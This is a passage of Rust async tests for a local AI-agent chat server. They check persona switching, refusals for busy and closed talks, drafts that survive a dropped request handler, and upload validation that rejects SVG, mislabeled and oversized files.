10520                .persona_avatar
10521                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
10522        );
10523        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
10524        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
10525        assert!(rei.avatar.contains("persona=rei&v="));
10526        assert_ne!(
10527            rei.avatar.split("&v=").nth(1),
10528            plain.avatar.split("&v=").nth(1)
10529        );
10530    }
10531
10532    #[tokio::test]
10533    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
10534        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10535        let cfg = config_for(&repo).await.unwrap();
10536        for arrived in [false, true] {
10537            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
10538            let observed = ui.queued_generation(&id);
10539            let talk = ui.talks.get(&id).unwrap();
10540            if arrived {
10541                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
10542            }
10543            let mut settling = std::pin::pin!(settle_settings_turn(
10544                talk,
10545                ui.talks.clone(),
10546                cfg.clone(),
10547                id.clone(),
10548                turn,
10549                observed
10550            ));
10551            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
10552            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
10553            assert_eq!(first.is_pending(), arrived);
10554            if arrived {
10555                assert!(!settling.await);
10556            }
10557            assert!(!ui.is_thinking(&id));
10558        }
10559    }
10560
10561    #[tokio::test]
10562    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
10563        let tmp = TempDir::new().expect("tempdir");
10564        let repo = tmp.path().join("repo");
10565        std::fs::create_dir_all(&repo).expect("repo dir");
10566        std::fs::write(
10567            repo.join("magi.toml"),
10568            format!(
10569                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
10570            ),
10571        )
10572        .expect("write magi.toml");
10573        let home = TempDir::new().expect("temp home");
10574        let talks = Talks::at(home.path().join("talks"));
10575        let ui = Arc::new(
10576            Ui::new(
10577                Queue::at(home.path().join("queue")),
10578                Questions::at(home.path().join("questions")),
10579                talks.clone(),
10580                home.path().join("runs"),
10581                home.path().to_path_buf(),
10582                repo.clone(),
10583            )
10584            .with_worktrees_root(home.path().join("wt")),
10585        );
10586        let cfg = config_for(&repo).await.expect("discover config");
10587        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10588        let id = talk.id.clone();
10589        let call = |persona: &str| {
10590            talk_persona(
10591                State(Arc::clone(&ui)),
10592                Path(id.clone()),
10593                Json(TalkPersona {
10594                    persona: persona.to_owned(),
10595                }),
10596            )
10597        };
10598
10599        let unknown = call("nobody").await.expect_err("unknown persona");
10600        assert_eq!(
10601            unknown.status,
10602            StatusCode::BAD_REQUEST,
10603            "{}",
10604            unknown.message
10605        );
10606
10607        {
10608            // Nothing refused so far took a claim, so the guard is free to take
10609            // and holding it is what makes the talk busy.
10610            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10611            let busy = call("rei").await.expect_err("busy talk");
10612            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10613            assert!(
10614                busy.message.contains("a talk turn is running"),
10615                "{}",
10616                busy.message
10617            );
10618            drop(guard);
10619        }
10620        assert_eq!(talks.get(&id).expect("reload").persona, "");
10621
10622        let Json(view) = call("gendo").await.expect("switch to a configured persona");
10623        assert_eq!(view.talk.persona, "gendo");
10624        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
10625        assert!(!ui.is_thinking(&id), "idle response must release the claim");
10626        // No intervening I/O or sleep may be needed before another change.
10627        for chosen in ["default", "gendo", "rei", "gendo"] {
10628            let Json(view) = call(chosen).await.expect("immediate consecutive change");
10629            assert!(!view.thinking);
10630            assert!(!ui.is_thinking(&id));
10631        }
10632
10633        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10634            .await
10635            .expect("detail");
10636        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
10637        assert_eq!(ids.first(), Some(&"default"));
10638        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
10639
10640        let Json(view) = call("default").await.expect("back to default");
10641        assert_eq!(view.talk.persona, "");
10642
10643        let mut closed = talks.get(&id).expect("reload");
10644        talk::close(&mut closed, &talks).expect("close");
10645        let refused = call("rei").await.expect_err("closed talk");
10646        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10647        assert!(
10648            refused.message.contains("takes no more turns"),
10649            "{}",
10650            refused.message
10651        );
10652    }
10653
10654    #[tokio::test]
10655    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
10656        let f = Fixture::start().await;
10657        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
10658        let queue = f.queue();
10659        let mut mine = Task::new(
10660            "rename the loader".to_owned(),
10661            "rename the loader".to_owned(),
10662            PathBuf::from("/repo/magi"),
10663            Source::Agent {
10664                run: talk_id.clone(),
10665                node: "chat".to_owned(),
10666            },
10667        );
10668        queue.put(&mut mine).expect("file the task");
10669        let mut theirs = Task::new(
10670            "unrelated".to_owned(),
10671            "unrelated".to_owned(),
10672            PathBuf::from("/repo/magi"),
10673            Source::Human,
10674        );
10675        queue.put(&mut theirs).expect("file the task");
10676
10677        let res = f.get(&format!("/api/talks/{talk_id}")).await;
10678        assert_eq!(res.status, 200, "{}", res.body);
10679        let body = res.json();
10680        assert_eq!(
10681            body["status"], "open",
10682            "filing a task does not close a talk"
10683        );
10684        let tasks = body["tasks"].as_array().expect("tasks array");
10685        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
10686        assert_eq!(tasks[0]["id"], mine.id);
10687    }
10688
10689    #[tokio::test]
10690    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
10691        let (_tmp, _repo, f) = talk_fixture().await;
10692        let id = f.post("/api/talks", None).await.json()["id"]
10693            .as_str()
10694            .expect("id")
10695            .to_owned();
10696
10697        let res = f
10698            .post(
10699                &format!("/api/talks/{id}/say"),
10700                Some(r#"{"text":"what does the queue module do?"}"#),
10701            )
10702            .await;
10703        assert_eq!(res.status, 202, "{}", res.body);
10704        let queued = res.json();
10705        let turns = queued["turns"].as_array().expect("turns array");
10706        assert_eq!(
10707            turns.len(),
10708            1,
10709            "the answer reflects only what is on disk the instant it is sent, \
10710             before the agent's turn - which can run for the whole of \
10711             `[graph] timeout_talk` - has a chance to land: {queued}"
10712        );
10713        assert_eq!(turns[0]["who"], "operator");
10714        assert_eq!(turns[0]["body"], "what does the queue module do?");
10715        assert_eq!(
10716            queued["thinking"], true,
10717            "the accepted response exposes the background turn claim: {queued}"
10718        );
10719
10720        let mut turns_after = 1;
10721        for _ in 0..SETTLE_STEPS {
10722            let detail = f.get(&format!("/api/talks/{id}")).await.json();
10723            turns_after = detail["turns"].as_array().expect("turns array").len();
10724            if turns_after == 2 {
10725                break;
10726            }
10727            tokio::time::sleep(Duration::from_millis(10)).await;
10728        }
10729        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
10730    }
10731
10732    /// A phone that reloads mid-request drops `talk_say`'s whole handler
10733    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
10734    /// guards against: `talk::record` used to return, and only *then* did the
10735    /// handler make a second, separate disk round trip before spawning the
10736    /// agent's reply task. A future dropped in that gap left a message
10737    /// recorded on disk with no reply task ever started and no way back short
10738    /// of a fresh message - and the gap was not even the whole story: *any*
10739    /// `.await` in this handler, including the very first one, is a point
10740    /// where a drop can land after the awaited work already finished but
10741    /// before this handler's own code resumes to act on it. `record` now
10742    /// runs inside the task `tokio::spawn` hands to the runtime before this
10743    /// handler ever awaits anything of its own again, so there is nothing
10744    /// left in *this* handler's future for a disconnect to interrupt between
10745    /// the message landing on disk and the reply task starting.
10746    ///
10747    /// A real socket disconnect cannot be relied on to land in the old gap
10748    /// from a test - over loopback, `talk_say` typically finishes before the
10749    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
10750    /// same failure mode directly: it drops the task's future at whatever
10751    /// point it has reached, exactly what axum does to the handler future,
10752    /// without needing to win a real network race. Sweeping the delay before
10753    /// aborting samples a range of points the task's execution can be at,
10754    /// including where the old code sat waiting on its second disk round
10755    /// trip - confirmed by reverting this fix locally and watching this same
10756    /// sweep catch a talk stuck with the operator's turn recorded and no
10757    /// reply ever following.
10758    #[tokio::test]
10759    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
10760        let tmp = TempDir::new().expect("tempdir");
10761        let repo = tmp.path().join("repo");
10762        std::fs::create_dir_all(&repo).expect("repo dir");
10763        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10764        let home = TempDir::new().expect("temp home");
10765        let talks = Talks::at(home.path().join("talks"));
10766        let ui = Arc::new(
10767            Ui::new(
10768                Queue::at(home.path().join("queue")),
10769                Questions::at(home.path().join("questions")),
10770                talks.clone(),
10771                home.path().join("runs"),
10772                home.path().to_path_buf(),
10773                repo.clone(),
10774            )
10775            .with_worktrees_root(home.path().join("wt")),
10776        );
10777        let cfg = config_for(&repo).await.expect("discover config");
10778
10779        for delay in 0..40u32 {
10780            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10781            let id = talk.id.clone();
10782
10783            let handler = tokio::spawn(talk_say(
10784                State(Arc::clone(&ui)),
10785                Path(id.clone()),
10786                Ok(Json(NewTalkTurn {
10787                    reply_to: None,
10788                    text: "what does the queue module do?".to_owned(),
10789                    attachments: Vec::new(),
10790                })),
10791            ));
10792            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
10793            handler.abort();
10794            // Wait out the abort so the next iteration's talk does not race
10795            // this one's still-unwinding turn guard.
10796            let _ = handler.await;
10797
10798            let mut turns = 0;
10799            for _ in 0..SETTLE_STEPS {
10800                if let Ok(fresh) = talks.get(&id) {
10801                    turns = fresh.turns.len();
10802                    if turns != 1 {
10803                        break;
10804                    }
10805                }
10806                tokio::time::sleep(Duration::from_millis(10)).await;
10807            }
10808            assert_ne!(
10809                turns, 1,
10810                "delay {delay}: talk {id} recorded the operator's turn but \
10811                 the agent never answered - the reply task was never \
10812                 started after the handler future was dropped"
10813            );
10814        }
10815    }
10816
10817    /// The same drop, landing on `talk_say`'s other durable write.
10818    ///
10819    /// When a turn is already running, the busy branch persists the
10820    /// operator's text as a queued draft and then reclaims the turn slot if
10821    /// the holder gave it up in the meantime - and whoever reclaims owes that
10822    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
10823    /// which finishes whether or not the future awaiting it is still there,
10824    /// so a handler dropped at that `.await` used to leave the draft written
10825    /// to disk with the reclaimed guard dropped unread and no drainer ever
10826    /// started: the message sat queued until some unrelated later `say`
10827    /// happened to pick it up.
10828    ///
10829    /// This used to drive the handler future by hand, polling it a fixed
10830    /// number of times to park it at the `.await` where it asks for the turn
10831    /// and finds it busy, before the reclaim's slot-free case could be set up
10832    /// underneath it. That assumed a fixed number of polls lands at a fixed
10833    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
10834    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
10835    /// poll, so any number of this handler's several `blocking` awaits can
10836    /// collapse into one poll under load, landing the drive somewhere other
10837    /// than intended - including, occasionally, straight past the handler's
10838    /// own completion, which made polling it again panic with "async fn
10839    /// resumed after completion". No poll count fixes that; the handler's
10840    /// progress simply is not something a caller outside it can observe by
10841    /// counting.
10842    ///
10843    /// [`BusyQueueGate`] replaces the poll count with a real stop point
10844    /// inside the write itself, so the interleaving under test is pinned by
10845    /// an event instead of a guess: the gate fires only once the handler has
10846    /// actually decided `Busy` and is about to persist the draft, and it
10847    /// blocks that write until the test lets it through. Between those two
10848    /// moments the test drains the turn the handler found busy - through
10849    /// `drain_loop`, the protocol's other half - and then aborts the handler
10850    /// task outright, the same way axum drops a disconnected request's
10851    /// future. The write, and the reclaim it may do, run to completion
10852    /// regardless: they live in the `tokio::spawn` task the busy branch hands
10853    /// to the runtime before ever touching the gate, wholly independent of
10854    /// whether the handler that started it is still around - which is what
10855    /// this test is actually checking. A drainer other than that reclaim
10856    /// cannot exist here: the test's own `drain_loop` call happens before the
10857    /// gate opens, so it runs while the queue is still empty and hands the
10858    /// turn straight back rather than draining anything, closing off the
10859    /// possibility of the final assertion passing without the reclaim ever
10860    /// having done its job.
10861    #[tokio::test]
10862    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
10863        let tmp = TempDir::new().expect("tempdir");
10864        let repo = tmp.path().join("repo");
10865        std::fs::create_dir_all(&repo).expect("repo dir");
10866        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10867        let home = TempDir::new().expect("temp home");
10868        let talks = Talks::at(home.path().join("talks"));
10869        let ui = Arc::new(
10870            Ui::new(
10871                Queue::at(home.path().join("queue")),
10872                Questions::at(home.path().join("questions")),
10873                talks.clone(),
10874                home.path().join("runs"),
10875                home.path().to_path_buf(),
10876                repo.clone(),
10877            )
10878            .with_worktrees_root(home.path().join("wt")),
10879        );
10880        let cfg = config_for(&repo).await.expect("discover config");
10881
10882        for attempt in 0..3u32 {
10883            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10884            let id = talk.id.clone();
10885            // A turn is already running, which is what sends `talk_say` down
10886            // the busy branch.
10887            let turn_guard = ui
10888                .begin_talk_turn(&id)
10889                .expect("claim the turn")
10890                .expect("a fresh talk owes nobody a turn");
10891
10892            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
10893            let (release_tx, release_rx) = std::sync::mpsc::channel();
10894            ui.set_busy_queue_gate(BusyQueueGate {
10895                reached: reached_tx,
10896                release: release_rx,
10897            });
10898
10899            let handler = tokio::spawn(talk_say(
10900                State(Arc::clone(&ui)),
10901                Path(id.clone()),
10902                Ok(Json(NewTalkTurn {
10903                    reply_to: None,
10904                    text: "what does the queue module do?".to_owned(),
10905                    attachments: Vec::new(),
10906                })),
10907            ));
10908
10909            // Wait for the busy branch to actually reach the gate, rather
10910            // than for any fixed number of polls of anything - a bounded
10911            // wait rather than a bare `.await` so a regression that never
10912            // reaches the gate fails the test instead of hanging it.
10913            tokio::time::timeout(Duration::from_secs(5), reached_rx)
10914                .await
10915                .unwrap_or_else(|_| {
10916                    panic!(
10917                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
10918                    )
10919                })
10920                .expect("the busy branch dropped the gate without using it");
10921
10922            // The turn that was running now finishes and gives the slot up
10923            // the way a real one does - through `drain_loop`, which finds
10924            // nothing queued yet (the write is still held at the gate) and
10925            // releases. The handler, parked inside `spawn_blocking` on the
10926            // other side of the gate, still believes the talk is busy -
10927            // exactly the interleaving the reclaim exists for.
10928            let running = talks.get(&id).expect("reload talk");
10929            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
10930
10931            // Drop the handler future now, the way a reloading phone drops
10932            // it: suspended waiting on the busy branch's answer, having
10933            // itself made no more progress since it handed the write off.
10934            handler.abort();
10935            let _ = handler.await;
10936
10937            // Only now let the gated write proceed. It persists the draft
10938            // and reclaims the now-free slot from inside the task the busy
10939            // branch already spawned - unaffected by the handler's abort
10940            // above, since that task was independent of the handler's own
10941            // future from the moment it was spawned.
10942            let _ = release_tx.send(());
10943
10944            // A settled talk: the draft drained into an operator turn and
10945            // answered.
10946            let mut fresh = talks.get(&id).expect("reload talk");
10947            for _ in 0..SETTLE_STEPS {
10948                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
10949                    break;
10950                }
10951                tokio::time::sleep(Duration::from_millis(10)).await;
10952                fresh = talks.get(&id).expect("reload talk");
10953            }
10954            assert!(
10955                fresh.pending.is_empty() && fresh.turns.len() == 2,
10956                "attempt {attempt}: talk {id} left the operator's text queued \
10957                 with no drainer - the reclaimed turn was dropped along with \
10958                 the handler future (pending {:?}, {} turns)",
10959                fresh.pending,
10960                fresh.turns.len()
10961            );
10962        }
10963    }
10964
10965    #[tokio::test]
10966    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
10967        let (_tmp, _repo, f) = talk_fixture().await;
10968        let id = f.post("/api/talks", None).await.json()["id"]
10969            .as_str()
10970            .expect("id")
10971            .to_owned();
10972        let store = f.talks();
10973        let mut recovered = store.get(&id).expect("opened talk");
10974        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10975            .expect("persist pending draft without a live turn");
10976
10977        let edited = f
10978            .post(
10979                &format!("/api/talks/{id}/pending/edit"),
10980                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
10981            )
10982            .await;
10983        assert_eq!(edited.status, 200, "{}", edited.body);
10984        assert!(edited.json()["thinking"].as_bool().unwrap());
10985
10986        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
10987        for _ in 0..SETTLE_STEPS {
10988            if detail["turns"].as_array().expect("turns").len() == 2 {
10989                break;
10990            }
10991            tokio::time::sleep(Duration::from_millis(10)).await;
10992            detail = f.get(&format!("/api/talks/{id}")).await.json();
10993        }
10994        let turns = detail["turns"].as_array().expect("turns");
10995        assert_eq!(
10996            turns.len(),
10997            2,
10998            "the recovered draft must run once: {detail}"
10999        );
11000        assert_eq!(turns[0]["body"], "corrected");
11001        assert_eq!(detail["pending"], "");
11002    }
11003
11004    #[tokio::test]
11005    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
11006        let tmp = TempDir::new().expect("tempdir");
11007        let repo = tmp.path().join("repo");
11008        std::fs::create_dir_all(&repo).expect("repo dir");
11009        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11010        let f = Fixture::with_repo(repo).await;
11011        let id = f.post("/api/talks", None).await.json()["id"]
11012            .as_str()
11013            .expect("id")
11014            .to_owned();
11015        let store = f.talks();
11016        let mut recovered = store.get(&id).expect("opened talk");
11017        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11018            .expect("persist pending draft without a live turn");
11019
11020        let refused = f
11021            .post(
11022                &format!("/api/talks/{id}/say"),
11023                Some(r#"{"text":"new message"}"#),
11024            )
11025            .await;
11026        assert_eq!(refused.status, 409, "{}", refused.body);
11027        assert!(refused.body.contains("resume"), "{}", refused.body);
11028        let saved = store.get(&id).expect("draft remains after refusal");
11029        assert!(saved.turns.is_empty());
11030        assert_eq!(saved.pending, "saved before restart");
11031
11032        let say_path = format!("/api/talks/{id}/say");
11033        let (first, second) = tokio::join!(
11034            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
11035            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
11036        );
11037        assert_eq!(first.status, 409, "{}", first.body);
11038        assert_eq!(second.status, 409, "{}", second.body);
11039        let saved = store
11040            .get(&id)
11041            .expect("draft remains after concurrent refusals");
11042        assert!(saved.turns.is_empty());
11043        assert_eq!(saved.pending, "saved before restart");
11044
11045        let resumed = f
11046            .post(&format!("/api/talks/{id}/pending/resume"), None)
11047            .await;
11048        assert_eq!(resumed.status, 202, "{}", resumed.body);
11049        let duplicate = f
11050            .post(&format!("/api/talks/{id}/pending/resume"), None)
11051            .await;
11052        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
11053
11054        for _ in 0..SETTLE_STEPS {
11055            if store.get(&id).expect("talk").turns.len() == 2 {
11056                break;
11057            }
11058            tokio::time::sleep(Duration::from_millis(10)).await;
11059        }
11060        let finished = store.get(&id).expect("finished talk");
11061        assert_eq!(finished.turns.len(), 2, "{finished:?}");
11062        assert_eq!(finished.turns[0].body, "saved before restart");
11063        assert!(finished.pending.is_empty());
11064    }
11065
11066    #[tokio::test]
11067    async fn an_image_only_recovered_draft_resumes_without_text() {
11068        let (_tmp, _repo, f) = talk_fixture().await;
11069        let id = f.post("/api/talks", None).await.json()["id"]
11070            .as_str()
11071            .expect("id")
11072            .to_owned();
11073        let uploaded = f
11074            .post_bytes(
11075                &format!("/api/talks/{id}/attachments"),
11076                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
11077                PNG_BYTES,
11078            )
11079            .await;
11080        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11081        let attachment = f
11082            .talks()
11083            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
11084            .expect("attachment metadata")
11085            .expect("stored attachment");
11086        let store = f.talks();
11087        let mut recovered = store.get(&id).expect("opened talk");
11088        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
11089
11090        let resumed = f
11091            .post(&format!("/api/talks/{id}/pending/resume"), None)
11092            .await;
11093        assert_eq!(resumed.status, 202, "{}", resumed.body);
11094        for _ in 0..SETTLE_STEPS {
11095            if store.get(&id).expect("talk").turns.len() == 2 {
11096                break;
11097            }
11098            tokio::time::sleep(Duration::from_millis(10)).await;
11099        }
11100        let finished = store.get(&id).expect("finished talk");
11101        assert_eq!(finished.turns.len(), 2, "{finished:?}");
11102        assert!(finished.turns[0].body.is_empty());
11103        assert_eq!(finished.turns[0].attachments.len(), 1);
11104        assert!(finished.pending_attachments.is_empty());
11105    }
11106
11107    #[tokio::test]
11108    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
11109        let (_tmp, _repo, f) = talk_fixture().await;
11110        let id = f.post("/api/talks", None).await.json()["id"]
11111            .as_str()
11112            .expect("id")
11113            .to_owned();
11114        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11115        assert_eq!(closed.status, 200, "{}", closed.body);
11116        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11117            .expect("serialize closed talk");
11118        for (path, body) in [
11119            (format!("/api/talks/{id}/pending/resume"), None),
11120            (
11121                format!("/api/talks/{id}/pending/clear"),
11122                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
11123            ),
11124            (
11125                format!("/api/talks/{id}/pending/edit"),
11126                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
11127            ),
11128            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
11129        ] {
11130            let response = f.post(&path, body).await;
11131            assert_eq!(response.status, 409, "{}", response.body);
11132        }
11133        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11134            .expect("serialize closed talk");
11135        assert_eq!(
11136            after_clear, before_clear,
11137            "clear must not rewrite a closed talk"
11138        );
11139    }
11140
11141    /// Keeps both claims observable long enough to exercise the distinction
11142    /// between one busy talk and a globally locked Chat surface.
11143    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
11144
11145    #[tokio::test]
11146    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
11147        let tmp = TempDir::new().expect("tempdir");
11148        let repo = tmp.path().join("repo");
11149        std::fs::create_dir_all(&repo).expect("repo dir");
11150        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11151        let f = Fixture::with_repo(repo).await;
11152        let id_a = f.post("/api/talks", None).await.json()["id"]
11153            .as_str()
11154            .unwrap()
11155            .to_owned();
11156        let id_b = f.post("/api/talks", None).await.json()["id"]
11157            .as_str()
11158            .unwrap()
11159            .to_owned();
11160
11161        let a = f
11162            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
11163            .await;
11164        assert_eq!(a.status, 202, "{}", a.body);
11165        assert_eq!(a.json()["thinking"], true);
11166        let b = f
11167            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
11168            .await;
11169        assert_eq!(b.status, 202, "{}", b.body);
11170        assert_eq!(b.json()["thinking"], true);
11171
11172        let listed = f.get("/api/talks").await.json();
11173        for id in [&id_a, &id_b] {
11174            let view = listed
11175                .as_array()
11176                .unwrap()
11177                .iter()
11178                .find(|talk| talk["id"] == *id)
11179                .unwrap();
11180            assert_eq!(view["thinking"], true, "{listed}");
11181        }
11182        let repeated = f
11183            .post(
11184                &format!("/api/talks/{id_a}/say"),
11185                Some(r#"{"text":"again"}"#),
11186            )
11187            .await;
11188        assert_eq!(repeated.status, 202, "{}", repeated.body);
11189        assert_eq!(repeated.json()["pending"], "again");
11190    }
11191
11192    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
11193    /// few more, since real uploads are never exactly eight bytes.
11194    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
11195
11196    #[tokio::test]
11197    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
11198        let f = Fixture::start().await;
11199        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
11200
11201        let res = f
11202            .post_bytes(
11203                &format!("/api/talks/{id}/attachments"),
11204                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11205                PNG_BYTES,
11206            )
11207            .await;
11208        assert_eq!(res.status, 201, "{}", res.body);
11209        let body = res.json();
11210        assert_eq!(body["name"], "shot.png");
11211        assert_eq!(body["mime"], "image/png");
11212        assert_eq!(body["bytes"], PNG_BYTES.len());
11213        let att_id = body["id"].as_str().expect("id").to_owned();
11214        assert_eq!(
11215            att_id.len(),
11216            32,
11217            "the id must never be a client-suppliable path: {att_id}"
11218        );
11219
11220        let got = f
11221            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
11222            .await;
11223        assert_eq!(got.status, 200, "{}", got.body);
11224        assert_eq!(got.header("content-type"), Some("image/png"));
11225        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
11226        assert_eq!(got.bytes, PNG_BYTES);
11227    }
11228
11229    #[tokio::test]
11230    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
11231        let f = Fixture::start().await;
11232        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
11233
11234        // SVG can carry a `<script>`, so it is never on the whitelist even
11235        // though it is a real IANA image type.
11236        let svg = f
11237            .post_bytes(
11238                &format!("/api/talks/{id}/attachments"),
11239                &[("Content-Type", "image/svg+xml")],
11240                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
11241            )
11242            .await;
11243        assert!(
11244            (400..500).contains(&svg.status),
11245            "svg must be refused: {} {}",
11246            svg.status,
11247            svg.body
11248        );
11249        assert!(svg.body.contains("SVG"), "{}", svg.body);
11250
11251        let text = f
11252            .post_bytes(
11253                &format!("/api/talks/{id}/attachments"),
11254                &[("Content-Type", "text/plain")],
11255                b"just some text",
11256            )
11257            .await;
11258        assert!(
11259            (400..500).contains(&text.status),
11260            "an unlisted type must be refused: {} {}",
11261            text.status,
11262            text.body
11263        );
11264
11265        // The declared type is a real png, but the size check runs before
11266        // the bytes are even looked at.
11267        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
11268        let big = f
11269            .post_bytes(
11270                &format!("/api/talks/{id}/attachments"),
11271                &[("Content-Type", "image/png")],
11272                &oversized,
11273            )
11274            .await;
11275        assert_eq!(
11276            big.status,
11277            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
11278            "{}",
11279            big.body
11280        );
11281    }
11282
11283    #[tokio::test]
11284    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
11285        let f = Fixture::start().await;
11286        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
11287
11288        // A whitelisted `Content-Type`, but bytes that are not actually a
11289        // png - the declared header alone is never trusted.
11290        let res = f
11291            .post_bytes(
11292                &format!("/api/talks/{id}/attachments"),
11293                &[("Content-Type", "image/png")],
11294                b"<html>not a picture</html>",
11295            )
11296            .await;
11297        assert!((400..500).contains(&res.status), "{}", res.body);
11298    }
11299
11300    #[tokio::test]
11301    async fn an_unknown_attachment_id_is_a_404() {
11302        let f = Fixture::start().await;
11303        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
11304
11305        let res = f
11306            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
11307            .await;
11308        assert_eq!(res.status, 404, "{}", res.body);
11309    }
11310
11311    #[tokio::test]
11312    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
11313        let f = Fixture::start().await;
11314        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
11315
11316        let uploaded = f
11317            .post_bytes(
11318                &format!("/api/talks/{id}/attachments"),
11319                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11320                PNG_BYTES,
11321            )
11322            .await;
11323        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11324        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
11325
11326        let res = f
11327            .post(
11328                &format!("/api/talks/{id}/say"),
11329                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
11330            )
11331            .await;
11332        assert_eq!(res.status, 202, "{}", res.body);
11333        let queued = res.json();
11334        let turns = queued["turns"].as_array().expect("turns array");
11335        assert_eq!(
11336            turns.len(),
11337            1,
11338            "an empty body with an attachment is still a turn: {queued}"
11339        );
11340        assert_eq!(turns[0]["who"], "operator");
11341        assert_eq!(turns[0]["body"], "");
11342        let atts = turns[0]["attachments"]
11343            .as_array()
11344            .expect("attachments array");
11345        assert_eq!(atts.len(), 1);
11346        assert_eq!(atts[0]["id"], att_id);
11347        assert_eq!(atts[0]["mime"], "image/png");
11348
11349        // Not only in the response: `record` flushes to disk before the
11350        // agent's own turn is even spawned.
11351        let on_disk = f.talks().get(&id).expect("get");
11352        assert_eq!(on_disk.turns[0].attachments.len(), 1);
11353        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
11354    }
11355
11356    #[tokio::test]
11357    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
11358        let f = Fixture::start().await;
11359        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
11360
11361        let res = f
